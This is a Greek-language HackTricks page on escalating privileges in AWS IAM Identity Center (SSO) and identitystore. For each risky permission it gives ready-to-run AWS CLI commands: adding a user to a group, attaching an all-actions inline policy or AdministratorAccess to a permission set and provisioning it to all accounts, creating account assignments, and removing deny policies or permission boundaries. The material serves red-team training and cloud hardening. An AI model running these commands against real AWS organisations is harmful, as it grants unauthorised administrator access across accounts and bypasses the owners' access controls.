AWS - SSO & identitystore Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

AWS Identity Center / AWS SSO

Για περισσότερες πληροφορίες σχετικά με AWS Identity Center / AWS SSO δείτε:

AWS - IAM, Identity Center & SSO Enum

Warning

Σημειώστε ότι κατά default, μόνο οι users με δικαιώματα form τον Management Account θα μπορούν να έχουν πρόσβαση και να control το IAM Identity Center.
Οι χρήστες από άλλους λογαριασμούς μπορούν να το επιτρέψουν μόνο εάν ο λογαριασμός είναι Delegated Adminstrator.
Check the docs for more info.

Επαναφορά Κωδικού

Ένας εύκολος τρόπος για να αυξήσει κανείς τα προνόμια σε τέτοιες περιπτώσεις θα ήταν να έχει ένα δικαίωμα που επιτρέπει την επαναφορά των κωδικών των χρηστών. Δυστυχώς, είναι μόνο δυνατό να σταλεί ένα email στον χρήστη για να επαναφέρει τον κωδικό του, οπότε θα χρειαστείτε πρόσβαση στο email του χρήστη.

identitystore:CreateGroupMembership

Με αυτό το permission είναι δυνατό να τοποθετήσεις έναν χρήστη μέσα σε μια ομάδα ώστε να κληρονομήσει όλα τα δικαιώματα που έχει η ομάδα.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε χρήστη υπό τον έλεγχό του

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει εκχωρηθεί σε χρήστη υπό τον έλεγχό του.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει δοθεί σε έναν χρήστη υπό τον έλεγχό του.

Warning

Για να καταχραστείτε αυτές τις άδειες σε αυτή την περίπτωση χρειάζεται να γνωρίζετε το όνομα μιας customer managed policy που υπάρχει σε ΟΛΟΥΣ τους λογαριασμούς που πρόκειται να επηρεαστούν.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ένας attacker με αυτήν την άδεια θα μπορούσε να εκχωρήσει ένα Permission Set σε έναν user που ελέγχει για ένα account.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Επιστρέφει τα βραχυχρόνια διαπιστευτήρια STS για ένα δεδομένο όνομα ρόλου που έχει ανατεθεί στον χρήστη.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Ωστόσο, χρειάζεσαι ένα access token που δεν είμαι σίγουρος πώς να το αποκτήσω (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ένας attacker με αυτή την permission μπορεί να αφαιρέσει τη συσχέτιση ενός AWS managed policy από το συγκεκριμένο permission set. Μπορεί να παραχωρηθούν περισσότερα privileges μέσω detaching a managed policy (deny policy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ένας attacker που έχει αυτό το permission μπορεί να αφαιρέσει τη σύνδεση ενός Customer managed policy από το συγκεκριμένο permission set. Είναι δυνατή η παροχή περισσότερων προνομίων μέσω του detaching a managed policy (deny policy).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ένας attacker με αυτή την άδεια μπορεί να αφαιρέσει τις permissions από ένα inline policy από το permission set. Είναι δυνατό να χορηγηθούν more privileges via detaching an inline policy (deny policy).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ένας attacker με αυτήν την άδεια μπορεί να αφαιρέσει το Permission Boundary από το Permission Set. Είναι δυνατό να χορηγηθούν περισσότερα προνόμια αφαιρώντας τους περιορισμούς στο Permission Set που επιβάλλονται από το Permission Boundary.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks